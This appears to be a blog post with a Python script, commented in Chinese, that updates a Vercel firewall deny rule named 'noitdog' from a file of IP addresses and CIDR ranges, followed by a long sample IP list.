&lt;pre&gt;&lt;code data-lang=&quot;python&quot;&gt;#!&#x2F;usr&#x2F;bin&#x2F;env python3
# -*- coding: utf-8 -*-
&amp;quot;&amp;quot;&amp;quot;
Vercel防火墙规则更新脚本
用法: python vercelnoitdog.py xxx.txt
&amp;quot;&amp;quot;&amp;quot;

import sys
import json
import requests
import ipaddress
from typing import List, Dict, Any

# Vercel API配置
API_BASE_URL = &amp;quot;https://api.vercel.com&#x2F;v1&#x2F;security&#x2F;firewall&#x2F;config&#x2F;draft&amp;quot;
PROJECT_ID = &amp;quot;prj_UfvbpIvawjL2eAETAiZT7hPLR8W2&amp;quot;
TEAM_ID = &amp;quot;team_lemndzHQNJAcTipIF6elB5Md&amp;quot;
AUTH_TOKEN = &amp;quot;你的Token&amp;quot;
RULE_ID = &amp;quot;rule_noitdog_eGxdcK&amp;quot;

# 每组最大IP数量
MAX_IPS_PER_GROUP = 75

def validate_ip_or_cidr(ip_str: str) -&amp;gt; bool:
    &amp;quot;&amp;quot;&amp;quot;
    验证IP地址或CIDR格式是否有效
    &amp;quot;&amp;quot;&amp;quot;
    try:
        # 尝试解析为IP地址或网络
        ipaddress.ip_address(ip_str)
        return True
    except ValueError:
        try:
            # 尝试解析为CIDR网络
            ipaddress.ip_network(ip_str, strict=False)
            return True
        except ValueError:
            return False

def read_ips_from_file(file_path: str) -&amp;gt; List[str]:
    &amp;quot;&amp;quot;&amp;quot;
    从文件中读取IP地址和CIDR网段
    &amp;quot;&amp;quot;&amp;quot;
    ips = []
    invalid_entries = []

    try:
        with open(file_path, &amp;#39;r&amp;#39;, encoding=&amp;#39;utf-8&amp;#39;) as f:
            for line_num, line in enumerate(f, 1):
                ip = line.strip()
                if ip and not ip.startswith(&amp;#39;#&amp;#39;):  # 忽略空行和注释
                    if validate_ip_or_cidr(ip):
                        ips.append(ip)
                    else:
                        invalid_entries.append(f&amp;quot;第{line_num}行: {ip}&amp;quot;)

        print(f&amp;quot;从文件 {file_path} 读取到 {len(ips)} 个有效的IP地址&#x2F;CIDR网段&amp;quot;)

        if invalid_entries:
            print(f&amp;quot;⚠️  发现 {len(invalid_entries)} 个无效条目:&amp;quot;)
            for entry in invalid_entries[:5]:  # 只显示前5个
                print(f&amp;quot;   {entry}&amp;quot;)
            if len(invalid_entries) &amp;gt; 5:
                print(f&amp;quot;   ... 还有 {len(invalid_entries) - 5} 个无效条目&amp;quot;)

        return ips
    except FileNotFoundError:
        print(f&amp;quot;错误: 文件 {file_path} 不存在&amp;quot;)
        sys.exit(1)
    except Exception as e:
        print(f&amp;quot;读取文件时出错: {e}&amp;quot;)
        sys.exit(1)

def chunk_ips(ips: List[str], chunk_size: int = MAX_IPS_PER_GROUP) -&amp;gt; List[List[str]]:
    &amp;quot;&amp;quot;&amp;quot;
    将IP列表分组，每组最多包含指定数量的IP
    &amp;quot;&amp;quot;&amp;quot;
    chunks = []
    for i in range(0, len(ips), chunk_size):
        chunks.append(ips[i:i + chunk_size])
    return chunks

def create_condition_groups(ip_chunks: List[List[str]]) -&amp;gt; List[Dict[str, Any]]:
    &amp;quot;&amp;quot;&amp;quot;
    创建条件组，每个组包含一个IP列表
    &amp;quot;&amp;quot;&amp;quot;
    condition_groups = []
    for ip_chunk in ip_chunks:
        condition_group = {
            &amp;quot;conditions&amp;quot;: [
                {
                    &amp;quot;op&amp;quot;: &amp;quot;inc&amp;quot;,
                    &amp;quot;type&amp;quot;: &amp;quot;ip_address&amp;quot;,
                    &amp;quot;value&amp;quot;: ip_chunk
                }
            ]
        }
        condition_groups.append(condition_group)
    return condition_groups

def create_request_payload(condition_groups: List[Dict[str, Any]]) -&amp;gt; Dict[str, Any]:
    &amp;quot;&amp;quot;&amp;quot;
    创建请求负载
    &amp;quot;&amp;quot;&amp;quot;
    payload = {
        &amp;quot;action&amp;quot;: &amp;quot;rules.update&amp;quot;,
        &amp;quot;id&amp;quot;: RULE_ID,
        &amp;quot;value&amp;quot;: {
            &amp;quot;name&amp;quot;: &amp;quot;noitdog&amp;quot;,
            &amp;quot;active&amp;quot;: True,
            &amp;quot;description&amp;quot;: &amp;quot;&amp;quot;,
            &amp;quot;conditionGroup&amp;quot;: condition_groups,
            &amp;quot;action&amp;quot;: {
                &amp;quot;mitigate&amp;quot;: {
                    &amp;quot;action&amp;quot;: &amp;quot;deny&amp;quot;,
                }
            }
        }
    }
    return payload

def send_request(payload: Dict[str, Any]) -&amp;gt; bool:
    &amp;quot;&amp;quot;&amp;quot;
    发送PATCH请求到Vercel API
    &amp;quot;&amp;quot;&amp;quot;
    url = f&amp;quot;{API_BASE_URL}?projectId={PROJECT_ID}&amp;amp;teamId={TEAM_ID}&amp;quot;

    headers = {
        &amp;quot;Authorization&amp;quot;: f&amp;quot;Bearer {AUTH_TOKEN}&amp;quot;,
        &amp;quot;Content-Type&amp;quot;: &amp;quot;application&#x2F;json&amp;quot;
    }

    try:
        print(f&amp;quot;发送请求到: {url}&amp;quot;)
        print(f&amp;quot;请求数据: {json.dumps(payload, indent=2, ensure_ascii=False)}&amp;quot;)

        response = requests.patch(url, headers=headers, json=payload)

        print(f&amp;quot;响应状态码: {response.status_code}&amp;quot;)
        print(f&amp;quot;响应内容: {response.text}&amp;quot;)

        if response.status_code == 200:
            print(&amp;quot;✅ 请求成功&amp;quot;)
            return True
        else:
            print(f&amp;quot;❌ 请求失败: {response.status_code} - {response.text}&amp;quot;)
            return False

    except requests.exceptions.RequestException as e:
        print(f&amp;quot;❌ 网络请求错误: {e}&amp;quot;)
        return False
    except Exception as e:
        print(f&amp;quot;❌ 发送请求时出错: {e}&amp;quot;)
        return False

def main():
    &amp;quot;&amp;quot;&amp;quot;
    主函数
    &amp;quot;&amp;quot;&amp;quot;
    if len(sys.argv) != 2:
        print(&amp;quot;用法: python vercelnoitdog.py &amp;lt;ip_file.txt&amp;gt;&amp;quot;)
        print(&amp;quot;示例: python vercelnoitdog.py ips.txt&amp;quot;)
        sys.exit(1)

    ip_file = sys.argv[1]

    # 读取IP地址
    ips = read_ips_from_file(ip_file)

    if not ips:
        print(&amp;quot;❌ 没有找到有效的IP地址或CIDR网段&amp;quot;)
        sys.exit(1)

    # 去重
    unique_ips = list(set(ips))
    print(f&amp;quot;去重后共有 {len(unique_ips)} 个唯一IP地址&#x2F;CIDR网段&amp;quot;)

    # 分组
    ip_chunks = chunk_ips(unique_ips)
    print(f&amp;quot;IP地址被分为 {len(ip_chunks)} 组&amp;quot;)

    for i, chunk in enumerate(ip_chunks, 1):
        print(f&amp;quot;第 {i} 组: {len(chunk)} 个IP&#x2F;CIDR&amp;quot;)

    # 创建条件组
    condition_groups = create_condition_groups(ip_chunks)

    # 创建请求负载
    payload = create_request_payload(condition_groups)

    # 发送请求
    success = send_request(payload)

    if success:
        print(&amp;quot;\n🎉 防火墙规则更新成功!&amp;quot;)
    else:
        print(&amp;quot;\n💥 防火墙规则更新失败!&amp;quot;)
        sys.exit(1)

if __name__ == &amp;quot;__main__&amp;quot;:
    main()
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;示例ip.txt&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code data-lang=&quot;textile&quot;&gt;223.26.78.6
182.101.26.81
101.226.41.74
117.148.172.71
183.194.216.135
119.96.16.87
112.65.95.205
59.36.216.50
124.225.103.136
125.73.215.4
221.130.18.132
42.81.156.75
59.49.86.70
120.220.190.144
116.153.63.68
219.151.141.70
118.213.140.68
1.180.239.80
36.158.204.68
218.30.71.80
218.98.53.88
182.242.83.133
111.6.225.75
101.207.252.75
221.204.62.68
42.202.219.70
111.13.153.72
121.31.236.73
180.130.113.72
113.207.73.135
36.104.133.71
42.185.158.68
116.176.33.201
60.28.203.70
124.160.160.70
202.108.15.148
116.177.229.5
111.48.137.135
211.139.55.70
156.253.8.27
112.90.210.132
42.63.75.72
36.163.196.91
117.187.182.132
115.231.43.69
153.0.230.8
45.251.101.5
112.48.150.134
116.136.19.134
218.57.21.135
49.71.77.84
123.6.70.5
111.32.145.8
59.80.45.132
112.29.205.70
36.250.8.132
36.147.38.70
220.181.53.87
125.211.192.35
150.139.140.70
223.244.186.68
183.2.175.12
113.240.100.81
117.157.235.95
117.161.136.74
1.193.215.70
111.51.76.68
36.150.79.4
120.233.53.26
58.211.13.98
101.28.250.72
125.64.2.134
113.62.118.132
36.136.125.68
117.177.67.5
211.91.67.89
115.223.6.243
27.185.235.70
111.26.149.68
111.12.212.73
183.201.192.68
111.62.174.73
222.75.5.70
119.147.118.127
218.61.211.101
180.97.244.136
220.162.119.71
125.77.129.206
111.42.192.68
111.29.45.133
117.168.153.198
109.248.18.86
171.15.110.73
116.178.236.69
116.172.154.17
120.201.243.134
183.240.228.133
112.90.40.216
221.8.93.95
120.232.121.180
43.163.239.208
222.79.71.253
150.109.245.197
117.180.235.132
221.181.52.171
120.71.150.171
154.23.241.34
23.225.146.6
194.147.100.44
43.156.69.84
146.185.214.41
43.130.151.11
43.131.29.194
185.99.132.104
38.54.126.18
38.60.209.194
38.54.45.156
38.54.59.59
58.19.20.71
113.201.9.12
116.162.51.68
112.123.37.68
38.54.63.220
125.74.47.33
72.52.114.230
173.255.209.253
192.73.244.230
35.221.248.87
165.227.48.82
144.202.112.137
35.197.10.99
45.77.19.32
103.134.34.7
66.220.18.238
71.19.144.157
174.137.48.255
209.177.156.46
154.21.82.74
128.199.126.228
50.7.8.99
209.177.158.115
192.73.242.50
104.4.224.169
45.45.236.19
103.14.244.246
23.150.40.100
24.86.248.28
216.66.0.234
107.173.182.190
104.225.8.133
103.6.87.164
45.76.118.224
23.237.26.69
103.131.159.213
59.153.100.154
185.40.234.177
163.47.179.246
27.147.166.142
176.58.90.129
65.20.71.66
192.95.26.127
45.114.84.2
50.7.114.87
103.204.80.222
45.159.97.148
123.49.9.6
185.224.3.114
185.44.82.20
103.244.145.149
157.119.186.4
45.159.99.200
93.114.194.138
185.243.217.223
103.109.59.222
51.158.147.91
119.45.133.212
183.245.146.101
51.15.190.186
162.254.84.55
36.151.192.162
101.43.53.133
47.101.65.208
114.130.57.222
139.186.177.82
113.56.218.178
2.58.57.254
148.163.223.19
185.123.101.33
61.164.246.102
154.70.207.18
58.218.205.215
2.189.254.219
148.163.220.22
37.32.6.150
147.78.2.180
103.72.136.138
139.59.35.197
103.85.239.77
45.40.252.184
185.34.3.179
185.30.166.165
60.12.124.101
47.104.185.98
185.106.103.26
43.139.250.146
1.95.214.189
103.81.104.242
45.202.210.37
59.38.99.166
180.153.91.3
119.97.171.14
120.204.196.162
116.153.81.2
1.32.216.91
15.235.167.152
140.207.232.18
58.243.202.72
223.111.24.198
116.253.27.152
59.83.222.20
211.91.243.88
101.71.160.163
124.225.162.194
59.63.230.4
175.6.41.195
220.202.21.129
112.28.234.140
115.236.144.231
125.39.11.1
153.0.192.167
61.190.114.193
121.31.231.89
58.144.173.98
123.6.27.10
58.215.177.156
182.140.221.2
219.144.80.136
111.32.157.133
120.223.242.157
111.47.215.148
1.71.11.171
180.213.48.172
150.138.178.3
112.48.221.77
117.169.16.203
124.239.250.80
111.62.70.129
111.6.251.227
59.80.37.156
36.102.218.76
119.188.148.129
42.63.65.201
36.158.254.130
180.130.96.143
111.206.4.152
61.240.153.196
116.176.35.201
1.31.130.68
116.177.252.82
61.128.145.14
221.204.45.134
117.24.3.143
125.74.24.2
183.201.231.162
101.206.203.18
182.242.140.26
111.10.63.136
183.232.11.45
36.99.143.1
123.184.205.46
111.13.102.12
117.187.142.66
139.215.167.76
218.25.106.113
117.161.24.21
111.19.212.248
219.147.74.6
117.174.129.181
218.203.117.72
111.12.63.131
210.76.62.60
117.157.22.134
36.104.140.200
111.26.55.11
111.40.189.229
111.12.157.228
222.75.58.106
111.29.42.34
183.224.38.14
36.131.159.78
116.178.71.245
117.180.232.165
43.242.167.44
110.157.249.53
134.122.151.96
34.80.186.23
221.181.56.200
139.99.134.84
154.38.106.211
141.164.56.18
51.38.70.219
51.77.203.76
54.38.242.242
148.113.173.25
162.19.154.159
139.84.235.192
172.233.24.182
36.250.246.34
123.6.27.64
157.122.209.77
223.87.182.211
182.106.155.131
58.216.15.29
211.91.166.53
47.97.228.5
221.194.161.44
60.221.194.28
1.31.130.66
120.27.18.28
58.251.56.177
60.223.217.164
39.175.4.28
8.138.119.222
36.251.255.37
36.143.233.41
121.31.231.115
115.236.144.236
61.174.43.24
223.109.76.167
218.8.164.49
123.157.148.149
119.147.156.156
47.106.151.176
113.5.183.26
120.204.196.133
125.39.11.14
61.241.123.180
140.207.232.23
111.123.41.34
101.133.148.180
111.39.146.24
47.94.20.35
180.153.91.21
183.134.36.167
125.64.129.30
116.153.81.66
60.188.118.173
220.181.126.38
111.123.254.134
36.143.193.156
42.56.67.155
111.40.189.252
211.91.243.95
183.36.24.28
116.177.250.162
1.193.218.40
111.62.98.78
42.63.65.199
36.102.218.86
1.71.11.181
120.201.104.153
112.26.229.30
182.242.140.10
120.232.248.163
180.213.48.223
219.147.74.22
183.224.33.198
116.176.35.214
116.136.135.148
60.5.252.39
110.166.65.78
112.28.209.220
113.96.150.162
58.144.173.72
42.59.4.156
111.10.63.158
111.32.157.154
111.29.42.54
58.241.27.162
153.0.192.185
120.39.201.14
222.186.18.152
112.48.141.175
221.204.45.136
101.67.10.151
61.164.147.152
39.98.49.59
1.28.232.27
101.206.203.29
120.223.242.149
117.157.22.147
111.1.160.153
120.232.98.168
58.220.82.34
125.74.24.15
116.253.27.146
111.77.198.151
36.150.43.34
112.122.156.166
111.47.248.69
139.215.162.44
111.63.179.37
58.215.177.5
61.243.17.23
112.29.220.176
110.157.249.48
221.231.92.31
222.81.122.157
117.169.16.130
27.128.221.166
111.13.102.147
36.158.254.168
219.144.80.133
202.104.186.160
111.206.4.206
111.172.239.72
221.195.21.15
61.168.100.167
120.220.212.22
111.12.63.173
120.238.155.29
121.228.188.15
218.205.74.153
117.66.50.176
111.6.251.218
117.161.24.26
119.188.3.89
113.201.180.80
36.104.140.208
111.12.157.239
221.181.56.132
121.17.123.41
218.203.117.84
183.201.231.176
175.6.41.150
1.190.42.161
124.236.43.188
101.200.214.185
43.242.167.59
116.136.134.161
27.159.72.27
124.232.169.149
124.225.162.228
180.110.204.95
183.232.250.130
112.85.251.136
1.194.235.25
125.94.37.14
1.190.198.188
59.83.222.19
223.111.24.209
116.178.73.205
223.111.193.162
61.128.145.22
113.96.108.38
219.128.78.149
183.232.147.27
150.138.40.179
124.229.60.35
117.135.215.165
36.135.11.5
8.130.23.178
182.140.221.50
183.246.206.155
61.240.153.224
59.63.230.28
183.232.48.165
101.71.160.27
36.131.141.25
150.138.74.152
120.210.112.160
220.185.164.153
117.180.232.175
125.72.124.21
124.165.205.158
34.150.84.19
121.11.2.164
183.240.84.160
113.113.101.178
58.243.202.94
39.104.16.158
117.21.225.154
150.138.178.22
111.48.182.22
223.111.255.46
58.222.35.25
36.156.181.50
20.24.72.70
106.117.244.9
180.121.81.39
119.249.48.33
36.150.210.23
182.201.241.181
111.51.100.158
120.233.177.163
120.233.0.35
16.163.131.38
8.137.53.211
113.62.172.189
120.233.177.165
115.236.144.235
180.153.91.20
111.6.251.219
54.220.191.101
113.201.180.79
153.3.232.187
120.27.109.210
183.232.250.171
117.161.24.25
121.11.2.163
223.111.24.210
61.164.147.168
8.208.8.92
34.101.254.179
120.233.0.41
111.12.63.176
119.188.3.86
39.107.137.48
101.133.173.51
47.113.114.116
140.207.232.22
150.138.74.171
219.147.74.24
112.122.156.164
123.6.27.65
58.243.202.102
120.232.248.154
180.213.48.215
111.13.102.148
47.99.106.232
20.74.239.192
223.109.76.169
220.181.126.39
111.206.4.204
120.220.212.35
8.213.210.244
47.74.36.66
52.243.66.112
3.110.8.122
3.37.93.47
54.215.39.119
20.106.77.49
58.144.173.114
120.204.196.151
34.77.123.66
3.228.90.224
15.160.99.228
34.102.85.154
15.152.134.0
34.124.147.129
3.96.235.198
35.203.120.96
1.28.232.24
8.220.206.175
20.113.137.203
39.100.89.75
20.70.168.217
34.88.215.233
120.223.242.152
54.252.17.196
34.105.151.212
34.150.213.129
202.104.186.166
1.193.218.25
101.67.10.149
13.49.141.212
20.73.66.155
54.251.99.254
34.97.52.174
108.136.71.175
15.184.90.0
221.195.21.9
34.118.30.85
47.237.17.19
8.209.136.9
20.194.2.123
8.215.60.204
223.87.182.208
124.165.205.149
13.77.219.191
111.3.88.40
106.117.244.16
65.52.234.249
183.232.147.31
60.188.118.172
104.198.91.239
180.97.251.43
182.106.155.132
223.111.255.38
121.31.231.114
51.140.189.31
112.48.141.173
183.201.231.177
175.6.41.185
121.228.188.17
40.89.179.182
1.31.130.65
124.236.43.190
112.29.220.166
34.138.235.109
150.138.40.178
112.85.251.138
183.246.206.151
220.185.164.177
36.135.11.6
1.190.198.186
104.42.170.197
40.77.126.226
116.178.71.248
51.137.188.42
116.153.81.65
36.150.43.21
125.72.124.30
150.138.178.23
47.108.210.10
47.252.40.117
222.81.122.173
18.169.141.195
182.140.221.49
113.96.150.157
47.91.106.49
8.211.36.84
211.91.166.33
182.242.140.13
125.39.11.22
52.229.73.86
211.91.243.96
36.131.141.36
116.177.250.149
117.180.232.172
116.176.35.216
52.140.120.6
116.253.27.156
13.69.137.62
34.71.216.82
47.251.22.110
1.71.11.180
120.238.155.30
20.41.234.167
20.97.31.166
34.125.140.25
18.198.169.212
47.250.83.225
34.216.180.221
8.212.168.4
34.106.36.80
34.80.25.50
34.141.72.86
117.157.22.159
34.130.170.189
52.67.7.168
15.237.134.31
116.136.135.139
34.64.76.211
20.206.67.205
102.133.191.17
120.210.112.149
3.130.130.218
52.249.251.97
20.203.191.125
13.245.240.194
34.151.203.21
113.5.183.21
47.76.234.71
35.74.182.183
13.73.237.220
34.93.125.50
36.158.254.166
47.87.10.135
20.212.147.238
34.131.245.4
34.129.133.149
20.63.56.18
34.91.245.249
35.201.15.13
34.127.120.136
34.65.109.86
20.210.115.182
14.119.108.97
36.250.8.143
175.6.198.123
122.13.156.93
119.96.16.112
116.153.80.135
112.65.92.24
124.225.43.76
124.160.160.85
115.223.45.12
117.68.65.13
112.132.229.80
180.153.30.124
153.0.230.10
36.140.98.185
222.84.188.147
36.134.84.172
106.227.27.10
116.162.91.15
119.36.116.72
112.85.242.37
36.137.123.208
59.80.45.236
121.31.236.105
123.6.67.55
49.67.73.113
60.28.203.96
150.138.239.152
113.201.9.13
106.38.195.210
202.108.29.83
123.151.105.90
113.207.73.136
113.142.203.39
221.204.79.137
180.130.113.83
211.90.25.90
36.134.81.132
27.221.106.135
36.139.239.145
27.151.24.14
101.207.252.83
27.185.235.86
36.140.22.122
116.176.33.212
125.64.35.87
36.137.22.118
36.148.0.84
111.124.196.23
36.138.180.78
36.134.79.10
118.183.211.82
171.15.110.93
59.49.86.80
42.63.75.92
182.242.214.118
42.202.219.83
116.136.19.158
219.151.141.87
222.75.5.73
36.134.47.198
118.213.140.85
36.137.89.73
36.137.250.224
43.242.183.208
36.138.53.214
42.59.0.91
36.137.50.99
36.134.87.242
36.138.125.196
36.133.106.196
36.97.229.180
36.137.46.212
36.138.129.114
36.133.212.236
36.104.135.11
42.101.84.87
125.211.192.50
139.209.203.85
36.138.249.96
36.139.217.42
36.137.133.156
36.134.76.220
36.134.67.30
36.102.223.206
116.172.154.10
36.139.213.132
36.134.223.27
113.62.118.143
222.81.124.106
116.178.236.108
36.139.215.4
36.133.109.86
112.43.36.140
199.119.65.155
45.135.229.199
170.39.226.168
130.51.40.113
23.159.160.29
45.45.216.219
79.133.121.42
213.255.209.128
170.39.227.192
23.145.48.232
92.223.102.61
92.38.176.123
209.209.57.64
5.188.111.165
162.253.42.95
209.209.59.201
45.9.10.253
38.175.100.1
194.49.68.59
74.118.138.59
104.245.12.220
213.156.157.23
103.170.232.190
103.173.178.158
154.31.112.24
103.121.211.146
51.158.190.4
185.189.72.131
38.175.119.130
185.222.219.5
154.12.190.9
103.170.232.255
45.87.60.12
5.161.74.145
89.37.99.43
5.75.183.245
45.11.104.130
45.142.244.202
185.217.109.206
38.175.116.132
45.11.106.130
5.75.244.23
45.150.240.129
92.223.105.223
38.175.120.128
45.150.242.130
83.138.55.28
45.150.242.131
194.156.162.128
194.156.163.130
45.146.4.70
209.146.104.21
45.11.104.140
103.167.150.110
38.175.114.129
65.109.164.100
128.14.227.111
185.254.74.188
185.248.86.134
45.61.175.191
213.156.142.202
103.213.246.25
45.91.94.193
185.126.238.219
213.183.62.132
170.39.225.200
38.175.117.128
45.87.62.74
5.189.221.103
83.138.53.220
45.131.71.128
38.175.115.131
185.234.213.129
145.14.131.223
5.188.36.17
45.142.247.129
194.99.78.14
106.75.189.151
78.142.195.191
103.136.144.101
170.39.230.26
103.181.45.35
45.142.246.177
45.131.69.99
45.131.70.138
38.175.113.128
146.185.248.29
85.215.238.211
27.148.249.91
106.75.8.5
103.45.78.243
165.154.120.79
185.105.0.67
91.148.134.231
152.32.249.61
38.175.108.20
154.17.1.69
38.175.121.129
213.156.136.76
45.11.105.149
5.78.52.50
180.149.44.87
38.175.122.129
37.143.128.230
209.209.57.133
89.43.111.60
103.208.86.58
213.156.137.109
45.91.92.175
194.156.155.253
185.194.53.117
38.175.112.134
103.213.245.15
91.148.135.223
102.130.48.128
85.215.117.222
102.130.49.151
5.188.6.10
63.250.61.72
45.150.243.145
45.126.125.125
103.117.100.75
87.121.99.217
36.139.22.48
173.245.48.0&#x2F;20
103.21.244.0&#x2F;22
103.22.200.0&#x2F;22
103.31.4.0&#x2F;22
141.101.64.0&#x2F;18
108.162.192.0&#x2F;18
190.93.240.0&#x2F;20
188.114.96.0&#x2F;20
197.234.240.0&#x2F;22
198.41.128.0&#x2F;17
162.158.0.0&#x2F;15
104.16.0.0&#x2F;13
104.24.0.0&#x2F;14
172.64.0.0&#x2F;13
131.0.72.0&#x2F;22
1.14.231.0&#x2F;24
1.194.174.0&#x2F;24
1.56.100.0&#x2F;24
1.71.146.0&#x2F;23
1.71.88.0&#x2F;24
101.226.85.128&#x2F;25
101.33.195.0&#x2F;24
101.33.222.0&#x2F;24
101.42.63.0&#x2F;24
101.71.100.0&#x2F;23
101.71.105.0&#x2F;24
101.72.227.0&#x2F;24
111.12.215.0&#x2F;24
111.20.28.0&#x2F;23
111.20.30.0&#x2F;24
111.22.252.0&#x2F;24
111.29.14.0&#x2F;24
111.31.238.0&#x2F;24
111.4.224.0&#x2F;23
111.42.114.0&#x2F;24
111.51.158.0&#x2F;24
111.6.217.0&#x2F;24
111.6.218.0&#x2F;24
111.62.160.0&#x2F;24
112.13.210.0&#x2F;24
112.29.209.0&#x2F;24
112.46.51.0&#x2F;24
112.49.30.0&#x2F;23
112.49.69.0&#x2F;24
112.64.213.0&#x2F;24
112.84.131.0&#x2F;24
112.90.154.0&#x2F;24
113.125.206.0&#x2F;24
113.142.27.0&#x2F;24
113.194.51.0&#x2F;24
113.200.123.0&#x2F;24
113.201.154.0&#x2F;24
113.201.158.0&#x2F;24
113.219.202.0&#x2F;23
113.240.66.0&#x2F;24
113.240.91.0&#x2F;24
113.59.44.0&#x2F;24
114.230.198.0&#x2F;24
114.237.67.0&#x2F;24
114.66.246.0&#x2F;23
114.66.250.0&#x2F;24
115.150.39.0&#x2F;24
116.136.15.0&#x2F;24
116.153.83.0&#x2F;24
116.153.84.0&#x2F;23
116.162.152.0&#x2F;23
116.169.184.0&#x2F;24
116.172.74.0&#x2F;24
116.177.240.0&#x2F;24
116.178.78.0&#x2F;24
116.196.152.0&#x2F;23
116.207.184.0&#x2F;24
116.253.60.0&#x2F;24
117.139.140.0&#x2F;24
117.147.229.0&#x2F;24
117.147.230.0&#x2F;23
117.161.38.0&#x2F;24
117.161.86.0&#x2F;24
117.162.50.0&#x2F;23
117.162.61.0&#x2F;24
117.163.59.0&#x2F;24
117.187.145.0&#x2F;24
117.40.82.0&#x2F;24
117.44.77.0&#x2F;24
117.69.71.0&#x2F;24
117.85.64.0&#x2F;23
117.85.66.0&#x2F;24
119.188.140.0&#x2F;24
119.188.209.0&#x2F;24
119.36.225.0&#x2F;24
119.84.242.0&#x2F;24
119.91.175.0&#x2F;24
120.221.164.0&#x2F;24
120.221.181.0&#x2F;24
120.221.238.0&#x2F;24
120.226.27.0&#x2F;24
120.232.126.0&#x2F;24
120.232.97.0&#x2F;24
120.233.185.0&#x2F;24
120.233.186.0&#x2F;23
120.233.43.0&#x2F;24
120.240.100.0&#x2F;24
120.240.94.0&#x2F;24
122.192.132.0&#x2F;24
122.246.0.0&#x2F;24
122.246.30.0&#x2F;23
123.125.3.0&#x2F;24
123.138.25.0&#x2F;24
123.172.121.0&#x2F;24
123.182.162.0&#x2F;24
123.6.40.0&#x2F;24
124.225.117.0&#x2F;24
124.225.161.0&#x2F;24
124.225.72.0&#x2F;24
124.238.112.0&#x2F;24
124.72.128.0&#x2F;24
125.76.83.0&#x2F;24
125.94.247.0&#x2F;24
125.94.248.0&#x2F;23
14.116.174.0&#x2F;24
14.205.93.0&#x2F;24
150.139.230.0&#x2F;24
175.43.193.0&#x2F;24
175.6.193.0&#x2F;24
182.140.210.0&#x2F;24
182.247.248.0&#x2F;24
183.131.59.0&#x2F;24
183.136.219.0&#x2F;24
183.192.184.0&#x2F;24
183.201.109.0&#x2F;24
183.201.110.0&#x2F;24
183.230.68.0&#x2F;24
183.253.58.0&#x2F;24
183.255.104.0&#x2F;24
183.47.119.128&#x2F;25
183.61.174.0&#x2F;24
211.136.106.0&#x2F;24
211.97.84.0&#x2F;24
219.144.88.0&#x2F;23
219.144.90.0&#x2F;24
220.197.201.0&#x2F;24
221.204.26.0&#x2F;23
221.5.96.0&#x2F;23
222.189.172.0&#x2F;24
222.79.116.0&#x2F;23
222.79.126.0&#x2F;24
222.94.224.0&#x2F;23
223.109.0.0&#x2F;23
223.109.2.0&#x2F;24
223.109.210.0&#x2F;24
223.113.137.0&#x2F;24
223.221.177.0&#x2F;24
223.247.117.0&#x2F;24
27.44.206.0&#x2F;24
36.131.221.0&#x2F;24
36.142.6.0&#x2F;24
36.147.58.0&#x2F;23
36.150.103.0&#x2F;24
36.150.72.0&#x2F;24
36.158.202.0&#x2F;24
36.158.253.0&#x2F;24
36.159.70.0&#x2F;24
36.189.11.0&#x2F;24
36.248.57.0&#x2F;24
36.249.64.0&#x2F;24
36.250.235.0&#x2F;24
36.250.238.0&#x2F;24
36.250.5.0&#x2F;24
36.250.8.0&#x2F;24
39.173.183.0&#x2F;24
42.177.83.0&#x2F;24
42.202.164.0&#x2F;24
42.202.170.0&#x2F;24
43.136.126.0&#x2F;24
43.137.230.0&#x2F;23
43.137.87.0&#x2F;24
43.137.88.0&#x2F;22
43.138.125.0&#x2F;24
43.141.10.0&#x2F;23
43.141.109.0&#x2F;24
43.141.110.0&#x2F;24
43.141.131.0&#x2F;24
43.141.132.0&#x2F;24
43.141.49.0&#x2F;24
43.141.50.0&#x2F;24
43.141.52.0&#x2F;24
43.141.68.0&#x2F;23
43.141.70.0&#x2F;24
43.141.9.0&#x2F;24
43.141.99.0&#x2F;24
43.142.196.0&#x2F;24
43.142.205.0&#x2F;24
43.145.16.0&#x2F;22
43.145.44.0&#x2F;23
49.119.123.0&#x2F;24
49.7.250.128&#x2F;25
58.144.195.0&#x2F;24
58.212.47.0&#x2F;24
58.217.176.0&#x2F;22
58.222.36.0&#x2F;24
58.250.127.0&#x2F;24
58.251.127.0&#x2F;24
58.251.87.0&#x2F;24
59.55.137.0&#x2F;24
59.83.206.0&#x2F;24
60.28.220.0&#x2F;24
61.161.0.0&#x2F;24
61.170.82.0&#x2F;24
61.240.216.0&#x2F;24
61.240.220.0&#x2F;24
61.241.148.0&#x2F;24
61.49.23.0&#x2F;24
81.71.192.0&#x2F;23
101.33.0.0&#x2F;19
162.14.40.0&#x2F;21
43.132.64.0&#x2F;19
43.152.0.0&#x2F;18
43.152.128.0&#x2F;18
43.159.64.0&#x2F;18
107.155.58.0&#x2F;24
110.238.81.0&#x2F;24
110.238.84.0&#x2F;24
116.103.105.0&#x2F;24
116.103.106.0&#x2F;24
116.206.195.0&#x2F;24
119.160.60.0&#x2F;24
128.1.102.0&#x2F;24
128.1.106.0&#x2F;24
128.14.246.0&#x2F;24
129.227.189.0&#x2F;24
129.227.213.0&#x2F;24
129.227.246.0&#x2F;24
13.244.60.0&#x2F;24
13.246.171.0&#x2F;24
13.246.201.0&#x2F;24
15.220.184.0&#x2F;24
15.220.187.0&#x2F;24
150.109.190.0&#x2F;23
150.109.192.0&#x2F;24
150.109.222.0&#x2F;23
154.223.40.0&#x2F;24
156.227.203.0&#x2F;24
156.229.29.0&#x2F;24
156.240.62.0&#x2F;24
156.251.71.0&#x2F;24
158.79.1.0&#x2F;24
161.49.44.0&#x2F;24
171.244.192.0&#x2F;23
175.97.130.0&#x2F;23
175.97.175.0&#x2F;24
181.78.96.0&#x2F;24
203.205.136.0&#x2F;23
203.205.191.0&#x2F;24
203.205.193.0&#x2F;24
203.205.220.0&#x2F;23
203.96.243.0&#x2F;24
211.152.128.0&#x2F;23
211.152.132.0&#x2F;23
211.152.148.0&#x2F;23
211.152.154.0&#x2F;23
23.236.104.0&#x2F;24
23.236.99.0&#x2F;24
3.105.21.0&#x2F;24
3.24.201.0&#x2F;24
31.171.99.0&#x2F;24
38.52.124.0&#x2F;24
38.60.181.0&#x2F;24
42.115.108.0&#x2F;24
43.155.126.0&#x2F;24
43.155.149.0&#x2F;24
43.174.0.0&#x2F;15
49.51.64.0&#x2F;24
54.94.99.0&#x2F;24
62.201.197.0&#x2F;24
63.32.163.0&#x2F;24
72.255.2.0&#x2F;24
81.21.9.0&#x2F;24
84.54.102.0&#x2F;24
86.51.92.0&#x2F;24
